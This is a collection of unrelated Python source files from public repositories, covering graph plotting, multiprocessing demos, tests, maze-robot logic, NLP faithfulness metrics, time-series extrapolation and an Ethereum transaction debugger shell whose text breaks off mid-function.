+{"seq_id":"38110529917","text":"#25/04/2020 redandgreen.co.uk\n\"\"\" create graphs from csv data for insertion into unique word docs/docx \"\"\"\n\nfrom matplotlib import pyplot as plt\nfrom matplotlib import style\nimport csv\nimport json\nimport warnings\nwarnings.simplefilter(\"ignore\")\n\nstyle.use('ggplot')\n\nclass Matgraph(object):\n\n \"\"\" Read a CSV file and generate 1 graph per row\"\"\"\n def __init__(self):\n self.vals = []\n self.row_num = 2\n\n def make_graphs(self):\n with open('gsd.csv','r') as f:\n reader = csv.reader(f)\n next(reader) # skip the header / row 1\n for row in reader:\n self.vals = row\n input_x = (self.vals[:5])\n input_y = (self.vals[5:])\n input_x = list(map(int,input_x))\n input_y = list(map(int,input_y))\n print(input_x)\n print(input_y)\n print(f\"Making Graph number {self.row_num}\")\n fig, ax = plt.subplots()\n ax.set_title(f\"redandgreen.co.uk graph {self.row_num}\",fontsize=14)\n plt.bar(input_x,input_y)\n plt.savefig(f\"plot{self.row_num}.png\")\n plt.clf()\n self.row_num += 1\n\nif __name__ == \"__main__\":\n\n autograph = Matgraph()\n autograph.make_graphs()\n\n \tprint(\"\\nGraphs made - Check CWD for your .png files\")\n print(\"Make multiple DOCX files next? - Put .png file in '/images'\")\n print(\"Then run pydoc_image.py\\n\")\n","repo_name":"RGGH/pydoc","sub_path":"pydoc_graph.py","file_name":"pydoc_graph.py","file_ext":"py","file_size_in_byte":1909,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"19044525541","text":"import multiprocessing, time, os\n\n\ndef dance(n):\n for i in range(n):\n time.sleep(0.5)\n print('正在跳舞{},pid={}'.format(i, os.getpid()))\n\n\ndef sing(m):\n for i in range(m):\n time.sleep(0.5)\n print('正在唱歌{},pid={}'.format(i, os.getpid()))\n\n\nif __name__ == '__main__':\n print('主进程的pid={}'.format(os.getpid()))\n # 创建了两个进程\n # target 用来表示执行的任务\n # args 用来传参,类型是一个元组\n p1 = multiprocessing.Process(target=dance, args=(100,))\n p2 = multiprocessing.Process(target=sing, args=(100,))\n\n p1.start()\n p2.start()\n","repo_name":"GrindOn/BZ_QFpython","sub_path":"01 python/Day20-多任务/01-代码/06-多进程.py","file_name":"06-多进程.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"74770940562","text":"import os\nimport unittest\n\nfrom click.testing import CliRunner\n\nfrom releasy.main import _is_iac, run\n\nclass TestReleasy(unittest.TestCase):\n\n def test_iac_regex_check_success(self):\n for repo_name in ['terraform-layer-foo', 'terraform-layer-some-thing-else', 'terraform-layer-aThing']:\n self.assertTrue(_is_iac(repo_name, '^terraform-layer-.*$'))\n\n for repo_name in ['bad', 'someapplication-terraform-layer']:\n self.assertFalse(_is_iac(repo_name, '^terraform-layer-.*$'))\n \n def test_run_value_errors_raised(self):\n runner = CliRunner()\n result = runner.invoke(run)\n self.assertTrue(result.exit_code, 1)\n self.assertTrue(type(result.exception) == ValueError)\n self.assertEqual(str(result.exception), 'Missing required input \"version\". Please see help.')\n\n result = runner.invoke(run, ['--version', '0.0.0'])\n self.assertTrue(result.exit_code, 1)\n self.assertTrue(type(result.exception) == ValueError)\n self.assertEqual(str(result.exception), 'Missing required input \"projects\". Please see help.')","repo_name":"Jamian/releasy","sub_path":"releasy/tests/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"911905352","text":"# maze 2020 logic module\n\n# Setup\nimport data_storage\nimport tile\nimport wall\n\nglob_wallsdata = None\nglob_victimsdata = None\nglob_environmentdata = None\nglob_motorsdata = None\ncurrent_tile = None\ntasks = None\nstatus = 0\ndirection = data_storage.get_direction()\nwanted_direction = data_storage.get_wanted_direction()\n\n\n# Modules\n\ndef check_rotation(environmentdata):\n global status\n threshold = 15\n if environmentdata['rotation'] <= data_storage.get_wanted_rotation() - threshold:\n tasks.add('Adjust more')\n pass\n elif environmentdata['rotation'] >= data_storage.get_wanted_rotation() + threshold:\n tasks.add('Adjust less')\n pass\n status = 1\n\n\ndef black_tile(environmentdata):\n global tasks\n global current_tile\n global status\n if environmentdata['floor'] == 'black':\n print(\"Black tile\")\n current_tile.set_type('black')\n print(\"Changed type\")\n current_tile.set_top(wall.Wall())\n print(\"Top locked\")\n current_tile.set_rgt(wall.Wall())\n print(\"Right locked\")\n current_tile.set_but(wall.Wall())\n print(\"Down locked\")\n current_tile.set_lft(wall.Wall())\n print(\"Left locked\")\n\n tasks.add(history.get_last_tile())\n print(\"Added reverse to stack\")\n print(tasks)\n print(tasks.all())\n status = 1\n\n\ndef ramp_check(environmentdata):\n global status\n if environmentdata['tilt'] == 'ramp_up':\n # todo send \"short drive\" for ramp test to arduino (instantly driven) -> returns new tilt\n if new_tilt == 'ramp_up':\n tasks.add('Ramp up')\n status = 1\n elif environmentdata['tilt'] == 'ramp_down':\n # todo send \"short drive\" for ramp test to arduino (instantly driven) -> returns new tilt\n if new_tilt == 'ramp_down':\n tasks.add('Ramp down')\n status = 1\n\n\ndef map_update(wallsdata):\n global current_tile\n global direction\n global tasks\n\n if direction == 0:\n pass\n elif direction == 1:\n temp_wallsdata = wallsdata\n wallsdata['front'] = temp_wallsdata['left']\n wallsdata['right'] = temp_wallsdata['front']\n wallsdata['back'] = temp_wallsdata['right']\n wallsdata['left'] = temp_wallsdata['back']\n elif direction == 2:\n temp_wallsdata = wallsdata\n wallsdata['front'] = temp_wallsdata['back']\n wallsdata['right'] = temp_wallsdata['left']\n wallsdata['back'] = temp_wallsdata['front']\n wallsdata['left'] = temp_wallsdata['right']\n elif direction == 3:\n temp_wallsdata = wallsdata\n wallsdata['front'] = temp_wallsdata['right']\n wallsdata['right'] = temp_wallsdata['back']\n wallsdata['back'] = temp_wallsdata['left']\n wallsdata['left'] = temp_wallsdata['front']\n\n if current_tile.has_lft() == False:\n if wallsdata['left'] == 0:\n tile = tile.Tile()\n current_tile.set_lft(tile)\n tasks.add(tile)\n else:\n wall = wall.Wall()\n current_tile.set_lft(wall)\n\n if current_tile().has_bot() == False:\n if wallsdata['down'] == 0:\n tile = tile.Tile()\n current_tile.set_bot(tile)\n tasks.add(tile)\n else:\n wall = wall.Wall()\n current_tile.set_bot(wall)\n\n if current_tile.has_rgt() == False:\n if wallsdata['right'] == 0:\n tile = tile.Tile()\n current_tile.set_rgt(tile)\n tasks.add(tile)\n else:\n wall = wall.Wall()\n current_tile.set_rgt(wall)\n\n if current_tile.has_top() == False:\n if wallsdata['front'] == 0:\n tile = tile.Tile()\n current_tile.set_top(tile)\n tasks.add(tile)\n else:\n wall = wall.Wall()\n current_tile.set_top(wall)\n\n\ndef victims_check(victimsdata):\n # todo check for heat_victims\n # todo modify and check the walls based on this information\n # todo deploy kits if not yet rescued\n pass\n\n\ndef check_checkpoint(environmentdata):\n if environmentdata['floor'] == 'checkpoint':\n data_storage.set_last_checkpoint_x(current_tile.get_coordinates[0])\n data_storage.set_last_checkpoint_y(current_tile.get_coordinates[1])\n data_storage.set_last_checkpoint_z(current_tile.get_coordinates[2])\n\n\ndef calculate_action(parameter_wallsdata, parameter_victimsdata, parameter_environmentdata, parameter_motorsdata,\n parameter_current_tile, parameter_tasks):\n global glob_wallsdata\n global glob_victimsdata\n global glob_environmentdata\n global glob_motorsdata\n global direction\n global status\n global wanted_direction\n\n glob_wallsdata = parameter_wallsdata\n glob_victimsdata = parameter_victimsdata\n glob_environmentdata = parameter_environmentdata\n glob_motorsdata = parameter_motorsdata\n current_tile = parameter_current_tile\n tasks = parameter_tasks\n status = 0\n direction = data_storage.get_direction()\n wanted_direction = data_storage.get_wanted_direction()\n\n if status == 0:\n check_rotation(glob_environmentdata)\n if status == 0:\n black_tile(glob_environmentdata)\n if status == 0:\n ramp_check(glob_environmentdata)\n if status == 0:\n map_update(glob_wallsdata)\n if status == 0:\n victims_check(glob_victimsdata)\n if status == 0:\n check_checkpoint(glob_environmentdata)\n\n data_storage.set_direction(direction)\n\n return current_tile, tasks\n\n","repo_name":"NoahBlaaa15/maze-2020","sub_path":"Raspberry Pi/versions/02_12_19/logic.py","file_name":"logic.py","file_ext":"py","file_size_in_byte":5527,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"5783530234","text":"from .development_settings import *\n\n\n# Whether the Query Inspector should do anything (default: False)\nQUERY_INSPECT_ENABLED = True\n# Whether to log the stats via Django logging (default: True)\nQUERY_INSPECT_LOG_STATS = True\n# Whether to add stats headers (default: True)\nQUERY_INSPECT_HEADER_STATS = True\n# Whether to log duplicate queries (default: False)\nQUERY_INSPECT_LOG_QUERIES = True\n# Whether to log queries that are above an absolute limit (default: None - disabled)\nQUERY_INSPECT_ABSOLUTE_LIMIT = 100 # in milliseconds\n# Whether to log queries that are more than X standard deviations above the mean query time (default: None - disabled)\nQUERY_INSPECT_STANDARD_DEVIATION_LIMIT = 2\n# Whether to include tracebacks in the logs (default: False)\nQUERY_INSPECT_LOG_TRACEBACKS = True\n# Project root (a list of directories, see below - default empty)\nQUERY_INSPECT_TRACEBACK_ROOTS = ['/usr/src/app/']\n","repo_name":"colindith/Taveuni","sub_path":"taveuni/debug_settings.py","file_name":"debug_settings.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32000216519","text":"from collections import Counter\nfrom time import time\nfrom typing import Union, Dict, Callable\n\nimport numpy as np\nimport spacy\nimport torch\nfrom transformers import AutoTokenizer, AutoModelForCausalLM\nfrom IPython.core.debugger import Pdb\nnlp = None\n\ndef get_huggingface_pretrained_model(pretrained_model_name_or_path, **kwargs):\n # Pdb().set_trace()\n tokenizer = AutoTokenizer.from_pretrained(pretrained_model_name_or_path)\n if 'torch_dtype' in kwargs:\n kwargs['torch_dtype'] = eval(kwargs['torch_dtype'])\n\n model = AutoModelForCausalLM.from_pretrained(\n pretrained_model_name_or_path, **kwargs)\n return model, tokenizer\n\n\n\"\"\"\nBaseline functions copied from: https://github.com/orhonovich/q-squared/blob/main/baselines.py\n\"\"\"\n\n\ndef get_tokens(text):\n doc = nlp(text)\n tokens = [tok.text.lower()\n for tok in doc if not tok.is_stop and not tok.is_punct]\n return tokens\n\n\ndef f1_score(gold, pred):\n global nlp\n if nlp is None:\n nlp = spacy.load(\"en_core_web_sm\")\n #\n gold_toks = get_tokens(gold)\n pred_toks = get_tokens(pred)\n\n common = Counter(gold_toks) & Counter(pred_toks)\n num_same = sum(common.values())\n if num_same == 0:\n return 0\n precision = 1.0 * num_same / len(pred_toks)\n recall = 1.0 * num_same / len(gold_toks)\n f1 = (2 * precision * recall) / (precision + recall)\n return f1\n\n\nclass ComputeFaithfulness:\n def __init__(self,\n pmi_model_name: Union[str, tuple],\n pmi_model_params: dict = None,\n bert_score_model_type='roberta-large',\n required_metrics=None,\n prompt_doc=\"Document: {}\\n\\n\",\n prompt_history=\"{}.\\n\",\n prompt_response=\"Agent: {}.\",\n ):\n if pmi_model_params is None:\n pmi_model_params = {}\n if required_metrics is None:\n required_metrics = ['pmi', 'uncond_pmi','bleu', 'bert_score', 'overlap','rougel']\n self.metric_registry: Dict[str, Callable[[str, str, str], Dict[str, float]]] = dict([\n ('pmi', self.compute_pmi),\n ('uncond_pmi', self.compute_unconditional_pmi),\n ('bleu', self.compute_bleu),\n ('rougel', self.compute_rougel),\n ('bert_score', self.compute_bert_score),\n ('faithcritic', self.compute_faithcritic),\n ('overlap', self.compute_overlap)])\n\n self.required_metrics = required_metrics\n \n if isinstance(pmi_model_name, str):\n self.pmi_model, self.pmi_tokenizer = get_huggingface_pretrained_model(\n pmi_model_name, **pmi_model_params)\n else:\n self.pmi_model, self.pmi_tokenizer = pmi_model_name\n\n if 'bert_score' in self.required_metrics:\n from bert_score import BERTScorer\n self.bert_scorer = BERTScorer(\n lang=\"en\", rescale_with_baseline=True, model_type=bert_score_model_type)\n\n self.rouge_evaluator = None\n\n if torch.cuda.is_available():\n self.pmi_model = self.pmi_model.cuda()\n # self.bert_scorer = self.bert_scorer.cuda()\n\n for this_metric in self.required_metrics:\n if this_metric not in self.metric_registry:\n print(\"Could not find {}. Should be one of:\".format(this_metric))\n print(list(self.metric_registry.keys()))\n\n self.prompt_doc = prompt_doc\n self.prompt_history = prompt_history\n self.prompt_response = prompt_response\n\n def __call__(self, document, history, response):\n return self.compute_faithfulness(document, history, response)\n\n def compute_faithfulness(self, document, history, response):\n result = {}\n for metric in self.required_metrics:\n func = self.metric_registry[metric]\n t0 = time()\n score_dict = func(document, history, response)\n latency = time() - t0\n for this_key, this_score in score_dict.items():\n result[this_key] = {\n 'score': float(this_score),\n 'latency': latency\n }\n return result\n\n @classmethod\n def compute_bleu(cls, document, _history, response):\n import sacrebleu\n return {'bleu': sacrebleu.corpus_bleu([response], [[document.lower()]]).score}\n\n def compute_bert_score(self, document, _history, response):\n with torch.no_grad():\n pr, rc, f1 = self.bert_scorer.score([response], [document.lower()])\n return {'bert_score': f1.detach().numpy()[0]}\n\n @classmethod\n def compute_overlap(cls, document, _history, response):\n return {'overlap': f1_score(document.lower(), response)}\n\n def compute_rougel(self, document, _history, response):\n import rouge\n if self.rouge_evaluator is None:\n self.rouge_evaluator = rouge.Rouge(\n metrics=[\"rouge-l\"],\n limit_length=True,\n length_limit=5000,\n length_limit_type=\"words\",\n apply_avg=False,\n apply_best=False,\n alpha=0.5, # Default F1_score\n weight_factor=1.0,\n stemming=True,\n )\n scores = self.rouge_evaluator.get_scores([document], [response])\n return {\"rougel\": scores['rouge-l'][0]['f'][0]}\n\n\n def compute_faithcritic(self, document, _history, response):\n from transformers import AutoTokenizer, AutoModelForSequenceClassification\n if self.faithcritic_model is None:\n self.faithcritic_model = AutoModelForSequenceClassification.from_pretrained(\n \"McGill-NLP/roberta-large-faithcritic\"\n )\n self.faithcritic_tokenizer = AutoTokenizer.from_pretrained(\"McGill-NLP/roberta-large-faithcritic\")\n \n input_ids = self.faithcritic_tokenizer(document, response, return_tensors=\"pt\", truncation=True)\n this_score = (1 - self.faithcritic_model(**input_ids).logits.argmax(dim=1)).item()\n return {'faithcritic': this_score}\n\n\n def compute_unconditional_pmi(self, document, _history, response):\n is_cuda = torch.cuda.is_available()\n with torch.no_grad():\n doc = self.prompt_doc.format(document)\n res = self.prompt_response.format(response)\n\n tokens_doc = self.pmi_tokenizer(doc, return_tensors=\"pt\")\n tokens_res = self.pmi_tokenizer(res, return_tensors=\"pt\")\n\n tokens_with_truncation = self.pmi_tokenizer(doc + res,\n return_tensors='pt',\n truncation=True)['input_ids']\n tokens = torch.cat([tokens_doc['input_ids'],\n tokens_res['input_ids']], dim=1)\n if tokens_with_truncation.numel() < tokens.numel():\n print(\"len(tokens_with_truncation): {}, len(tokens): {}\".format(\n tokens_with_truncation.numel(), tokens.numel()))\n return {'pmi': np.nan}\n #\n attention = torch.cat([tokens_doc['attention_mask'],\n tokens_res['attention_mask']], dim=1)\n\n labelsy = torch.cat([\n torch.zeros_like(tokens_doc['input_ids']).fill_(-100),\n tokens_res['input_ids'],\n ], dim=1)\n \n if is_cuda:\n tokens, attention, labelsy = tokens.cuda(), attention.cuda(), labelsy.cuda()\n \n output_y_doc_dia = -1.0*self.pmi_model(input_ids=tokens.long(),\n attention_mask=attention.long(),\n labels=labelsy.long()).loss.item()\n\n tokens = tokens_res['input_ids']\n attention = tokens_res['attention_mask']\n labelsy = tokens_res['input_ids']\n \n if is_cuda:\n tokens, attention, labelsy = tokens.cuda(), attention.cuda(), labelsy.cuda()\n \n output_y_dia = -1.0*self.pmi_model(input_ids=tokens.long(),\n attention_mask=attention.long(),\n labels=labelsy.long()).loss.item()\n return {'uncond_pmi': output_y_doc_dia - output_y_dia,\n 'uncond_pmi_logprob_d': output_y_doc_dia,\n 'uncond_pmi_logprob': output_y_dia}\n\n def compute_pmi(self, document, history, response):\n is_cuda = torch.cuda.is_available()\n with torch.no_grad():\n doc = self.prompt_doc.format(document)\n dia = self.prompt_history.format(history)\n res = self.prompt_response.format(response)\n\n tokens_doc = self.pmi_tokenizer(doc, return_tensors=\"pt\")\n tokens_dia = self.pmi_tokenizer(dia, return_tensors=\"pt\")\n tokens_res = self.pmi_tokenizer(res, return_tensors=\"pt\")\n\n tokens_with_truncation = self.pmi_tokenizer(doc + dia + res,\n return_tensors='pt',\n truncation=True)['input_ids']\n tokens = torch.cat([tokens_doc['input_ids'],\n tokens_dia['input_ids'],\n tokens_res['input_ids']], dim=1)\n if tokens_with_truncation.numel() < tokens.numel():\n print(\"len(tokens_with_truncation): {}, len(tokens): {}\".format(\n tokens_with_truncation.numel(), tokens.numel()))\n return {'pmi': np.nan}\n #\n attention = torch.cat([tokens_doc['attention_mask'],\n tokens_dia['attention_mask'],\n tokens_res['attention_mask']], dim=1)\n\n labelsy = torch.cat([\n torch.zeros_like(tokens_doc['input_ids']).fill_(-100),\n torch.zeros_like(tokens_dia['input_ids']).fill_(-100),\n tokens_res['input_ids'],\n ], dim=1)\n \n if is_cuda:\n tokens, attention, labelsy = tokens.cuda(), attention.cuda(), labelsy.cuda()\n \n output_y_doc_dia = -1.0*self.pmi_model(input_ids=tokens.long(),\n attention_mask=attention.long(),\n labels=labelsy.long()).loss.item()\n\n tokens = torch.cat([tokens_dia['input_ids'], tokens_res['input_ids']], dim=1)\n attention = torch.cat([tokens_dia['attention_mask'], tokens_res['attention_mask']], dim=1)\n labelsy = torch.cat([\n torch.zeros_like(tokens_dia['input_ids']).fill_(-100),\n tokens_res['input_ids'],\n ], dim=1)\n \n if is_cuda:\n tokens, attention, labelsy = tokens.cuda(), attention.cuda(), labelsy.cuda()\n \n output_y_dia = -1.0*self.pmi_model(input_ids=tokens.long(),\n attention_mask=attention.long(),\n labels=labelsy.long()).loss.item()\n return {'pmi': output_y_doc_dia - output_y_dia,\n 'pmi_logprob_hd': output_y_doc_dia,\n 'pmi_logprob_h': output_y_dia}\n","repo_name":"ynandwan/pmi-faith","sub_path":"faithfulness-metrics/src/compute_faithfulness_api.py","file_name":"compute_faithfulness_api.py","file_ext":"py","file_size_in_byte":11422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5847393528","text":"import pandas as pd\nimport numpy as np\nfrom datetime import timedelta\nfrom .Fill import fill_missing\n# import matplotlib.pyplot as plt\n\n\ndef linear(data, n_predict):\n \"\"\"\n Linearly extrapolate a source timeseries\n\n Parameters\n ----------\n data: dataseries\n date index and 1 column of streamflow values\n n_predict: int\n number of time increments to extrapolate\n\n Returns\n -------\n extrap_data: dataframe\n time series with observed data and extrapolated values based on final two observed values\n \"\"\"\n\n # create time series with extrapolated data\n x = np.arange(1, n_predict + 1)\n extrap_data = data.iloc[-2] + (x - (-1)) / (0 - (-1)) * (data.iloc[-1] - data.iloc[-2])\n\n # linear extrapolation based on last two points in observed dataset\n # create pandas DataFrame with observed and extrapolated data\n extrap_data = pd.Series(extrap_data,\n index=pd.date_range(start=data.last_valid_index() + timedelta(days=1),\n end=data.last_valid_index() + timedelta(days=n_predict)),\n name='Value')\n\n ### Debugging code ###\n # plot the data\n # fig, ax = plt.subplots(1, 1, gridspec_kw={})\n # fig.set_size_inches(10, 8)\n #\n # extrap_data.plot(ax=ax, linestyle='--', color='r')\n # data.plot(ax=ax, linestyle='-', color='k')\n # ax.set_ylabel(\"Daily Avg Inflow (cfs)\")\n # ax.legend([\"Linear Extrap\", \"Observed Data\"], loc='upper right')\n # plt.savefig('linear_extrap')\n # plt.show()\n\n return extrap_data\n\n\ndef fourier(data, n_predict, time_threshold):\n \"\"\"\n Extrapolate data based on Fourier transform of the source timeseries\n\n Parameters\n ----------\n data: dataseries\n date index and 1 column of streamflow values\n n_predict: int\n number of time increments to extrapolate\n freq_threshold: float\n frequency threshold above which frequencies are removed\n Returns\n -------\n extrap_data: dataseries\n time series with observed data and extrapolated values from Fourier Transform\n p_filtered: float\n spectral density lost due to high frequency filter\n \n \"\"\"\n\n # remove NANs from dataset\n idx = np.isfinite(data.values)\n\n # n = len(x)\n t = np.arange(0, len(data.values))\n\n # find linear trend in dataset\n p = np.polyfit(t[idx], data.values[idx], 1)\n\n # Detrend x\n trend_removed = data.values - p[0] * t\n\n # detrended x in frequency domain\n FFT = np.fft.fft(trend_removed)\n\n # frequencies of transform\n freqs = np.fft.fftfreq(len(data.values))\n\n ### Apply a low pass filter into the data ###\n # convert time threshold to frequency\n freq_threshold = 1 / time_threshold\n high_freq_FFT = FFT.copy()\n\n # remove high frequencies\n high_freq_FFT[np.abs(freqs) > freq_threshold] = 0\n\n # percentage of frequencies removed\n p_filtered = len(high_freq_FFT[np.abs(freqs) < freq_threshold]) / len(high_freq_FFT)\n\n # calculated signal from frequencies\n filtered_sig = np.fft.ifft(high_freq_FFT)\n\n ### Calculate the extended series ###\n indexes = list(range(len(data.values)))\n\n # sort indexes by frequency, lower -> higher\n indexes.sort(key=lambda i: np.absolute(freqs[i]))\n\n t = np.arange(0, len(data.values) + n_predict)\n restored_sig = np.zeros(t.size)\n for i in indexes:\n ampli = np.absolute(high_freq_FFT[i]) / len(data.values) # amplitude\n phase = np.angle(high_freq_FFT[i]) # phase\n restored_sig += ampli * np.cos(2 * np.pi * freqs[i] * t + phase) # convert frequency back to signal\n\n # array of fourier time series data\n fourier_series = restored_sig + p[0] * t\n\n # Create a data series with the extended data\n extrap_data = pd.Series(fourier_series[-n_predict:],\n index=pd.date_range(start=data.last_valid_index() + timedelta(days=1),\n end=data.last_valid_index() + timedelta(days=n_predict)),\n name='Value')\n\n ### Debug code ###\n # fig2, ax2 = plt.subplots(1, 1, gridspec_kw={})\n # fig2.set_size_inches(10, 8)\n # ax2.plot(data.index, data, color='deepskyblue', label='Observed Data', linewidth=3)\n # ax2.plot(extrap_data.index, fourier_series, color='r', linestyle='--', label='Fourier Transform Series',\n # linewidth=1)\n # plt.legend(['Observed Data', 'Fourier Transform Series'])\n # plt.savefig('fourier_extrap')\n # plt.legend()\n # plt.show()\n\n return extrap_data, p_filtered\n\n\ndef extend(dataSeries, fillMethod, fillDuration, fillOrder, extendMethod, n_predict, timeFilter):\n \"\"\"\n Performs initial formatting of the data to allow for correct filling behavior\n\n Parameters\n ----------\n\n\n Returns\n -------\n\n \"\"\"\n\n ### Fill the missing data using the user specified method ###\n # Fill the data\n dataFilled = fill_missing(dataSeries, fillMethod, fillDuration, order=fillOrder)\n\n # Strip NaNs from the start of the series\n stopIndex = -1\n for x in range(0, len(dataFilled.values), 1):\n if np.isnan(dataFilled.values[x]):\n stopIndex = x\n else:\n break\n\n dataFilled = dataFilled[stopIndex + 1:]\n\n # Calculate the timestep of the data\n # todo: this needs to look across the time series\n # timeDifference = dataFilled.index[1:] - dataFilled.index[0:len(dataFilled.index)-1]\n # timeStep = min(timeDifference)\n timeStep = dataFilled.index[1] - dataFilled.index[0]\n\n # Check that there are no gaps\n # todo: Enforce gapless time series\n # timeSpacing = np.array([(dataFilled.index[x] - dataFilled.index[x-1]) > timeStep\n # for x in range(1, len(dataFilled), 1)]).astype(bool)\n # assert not np.any(timeSpacing), \"Unable to extend. Gaps are present in the time series.\"\n\n # Check that there are no infinte values\n assert not np.any(np.isinf(dataFilled.values)), \"Unable to extend. Infinite values are present in the time series.\"\n\n # Check that there are no NaNs in the data\n # todo: clip starting/ending NaN values\n # assert not np.any(np.isnan(dataFilled.values)), \"Unable to extend. NaN values are present in the time series.\"\n\n if extendMethod == \"linear\":\n # Extend using a linear process\n extendedSeries = linear(dataFilled, n_predict)\n densityLost = 0\n\n elif extendMethod == 'fourier':\n # Extend using a fourier process\n # Set the filter to account for the timestep and specified time period\n if timeStep.days == 1 and timeFilter == 'Day':\n timeThreshold = 1\n elif timeStep.days == 1 and timeFilter == 'Week':\n timeThreshold = 7\n elif timeStep.days == 1 and timeFilter == 'Month':\n timeThreshold = 30\n elif timeStep.days == 1 and timeFilter == 'Year':\n timeThreshold = 365\n elif timeStep.days == 7 and timeFilter == 'Month':\n timeThreshold = 4\n elif timeStep.days == 7 and timeFilter == 'Year':\n timeThreshold = 52\n elif (timeStep.days == 30 or timeStep.days == 31 or timeStep.days == 28) and timeFilter == 'Year':\n timeThreshold = 12\n\n # Call the extend function\n extendedSeries, densityLost = fourier(dataFilled, n_predict, timeThreshold)\n\n else:\n # Extend method is not understood by the parser\n raise NotImplementedError('Type of extension is not understood')\n\n return extendedSeries, densityLost\n\n","repo_name":"usbr/PyForecast","sub_path":"resources/modules/ModelCreationTab/Operations/Extend.py","file_name":"Extend.py","file_ext":"py","file_size_in_byte":7566,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"3"}
+{"seq_id":"40499276738","text":"# coding=utf8\nimport cmd\nfrom components.utils import *\nfrom components.contract import BytecodeContract\nfrom components.step import *\n\n\nclass DebugVM(cmd.Cmd):\n intro = None\n real_intro = 'Welcome to the EDB shell. Type help or ? to list commands.\\n'\n file = None\n\n def __init__(self, txhash: str) -> None:\n self.txhash = txhash\n info = w3.eth.getTransaction(txhash)\n contract_addr = info[\"to\"]\n self.caller = info[\"from\"]\n self.calldata = info['input'] # 是不是不应该放这里\n self.block_number = info['blockNumber'] - 1\n if self.calldata:\n self.calldata = remove_0x_prefix(self.calldata)\n print(f\"[*] Calldata: {self.calldata}\")\n code = w3.eth.getCode(\n contract_addr, block_identifier=self.block_number).hex()\n code = remove_0x_prefix(code)\n self.contract = BytecodeContract(contract_addr, code)\n\n self.steps = []\n self.load_trace()\n\n self.total = len(self.steps)\n self.cur = 0\n self.breakpoints = []\n super(DebugVM, self).__init__()\n\n def load_trace(self):\n trace = w3.provider.make_request(\n 'debug_traceTransaction', [self.txhash, {\"disableMemory\": True}]\n )\n trace = trace['result']['structLogs']\n print(f\"[i] Loaded {len(trace)} steps\")\n last_step = None\n cur = 0\n for s in trace:\n step = Step(cur, s, self.contract, self.calldata, last_step)\n self.steps.append(step)\n last_step = step\n cur += 1\n\n def start(self):\n print(self.real_intro)\n self.info()\n while True:\n try:\n self.cmdloop()\n break\n except KeyboardInterrupt:\n break\n\n def check_cur(self):\n self.cur = min(self.total-1, self.cur)\n self.cur = max(0, self.cur)\n\n def do_n(self, args):\n \"n [delta]: Next delta steps\"\n args = parse(args)\n delta = 1\n if args:\n delta = args[0]\n self.cur += delta\n self.check_cur()\n self.info()\n\n def _run(self, delta):\n broken = False\n while True:\n self.cur += delta\n if not 0 <= self.cur < self.total:\n break\n bcnt = 0\n for b in self.breakpoints:\n if self.steps[self.cur].match(b):\n print(\n f\"Breakpoint #{bcnt} {C.OKGREEN}{b.condition_str}{C.ENDC} matched\")\n broken = True\n break\n bcnt += 1\n if broken:\n break\n self.check_cur()\n self.info()\n if not broken:\n print(\"[*] Transaction finished without match any breakpoints\")\n\n def do_rb(self, args):\n \"rb: Run backward until match breakpoints\"\n self._run(-1)\n\n def do_r(self, args):\n \"r: Run until match breakpoints\"\n self._run(1)\n\n def do_b(self, args):\n \"\"\"\n b [exp]: Add breakpoint with exp or show breakpoints\n e.g b op==sha3;sta[-2]==0x100\n 可用条件如下:\n op: 操作码\n sta[xx]: 栈元素\n sto[xx]: storage元素\n pc: pc\n \"\"\"\n print()\n if not args.strip():\n self.show_breakpoints()\n return\n self.breakpoints.append(Breakpoint(args))\n print(f\"Breakpoint #{len(self.breakpoints)-1} added:\")\n self.breakpoints[-1].inspect()\n\n def show_breakpoints(self):\n print(\"Breakpoints:\")\n bcnt = 0\n for b in self.breakpoints:\n print(f\" #{bcnt}: {C.OKGREEN}{b.condition_str}{C.ENDC}\")\n bcnt += 1\n if not self.breakpoints:\n print(f\" (empty)\")\n print()\n return\n\n def do_p(self, args):\n \"p mem|sto|sta: Print memory or storage or stack (full print)\"\n args = args.strip()\n if args == 'mem':\n self.print_memory(Z_MAX)\n elif args == 'sto':\n self.print_storage(Z_MAX)\n elif args == 'sta':\n self.print_stack()\n else:\n print(f\"[x] Unkown {args} to print\")\n\n def do_x(self, args):\n \"x mem[a:b]|sto[k]|sta[k]: Print memory or storage or stack value at specified position\"\n args = args.strip()\n if args.startswith('mem'):\n l, r = map(eval, args.split('[')[-1].strip(']').split(':'))\n print(self.steps[self.cur].memory.get(l, r-l))\n elif args.startswith('sto'):\n k = eval(args.split('[')[-1].strip(']'))\n k = hex(k)[2:].zfill(64)\n record = self.steps[self.cur].storage.get(k, None)\n if not record:\n print(\"No record, loading origin data from chain\")\n record = self.get_old_storage(self.contract.addr, k)\n print(record)\n elif args.startswith('sta'):\n k = eval(args.split('[')[-1].strip(']'))\n print(self.steps[self.cur].stack[k])\n else:\n print(f\"[x] Unkown {args} to exp\")\n\n def do_db(self, args):\n \"db [k]: Delete breakpoint #k\"\n print()\n args = parse(args)\n if not args or args[0] >= len(self.breakpoints) or args[0] < 0:\n print(\"Invalid breakpoint id to delete\")\n print(\n f\"Deleted breakpoint #{args[0]}: {C.OKGREEN}{self.breakpoints[args[0]].condition_str}{C.ENDC}\")\n del self.breakpoints[args[0]]\n self.show_breakpoints()\n\n def do_g(self, args):\n \"goto step: Goto step\"\n args = parse(args)\n if not args:\n print(\"Wrong destination\")\n return\n self.cur = args[0] - 1\n self.check_cur()\n self.info()\n\n def do_q(self, args):\n \"Quit\"\n return True\n\n def do_j(self, args):\n \"j: Print jump info\"\n self.print_jump()\n\n def do_ws(self, args):\n \"ws stack_k: Run back to watch who changed stack[k]\"\n args = parse(args)\n k = args[0]\n if k < 0:\n k += len(self.steps[self.cur].stack)\n check_stack = self.steps[self.cur].stack[:k+1]\n found 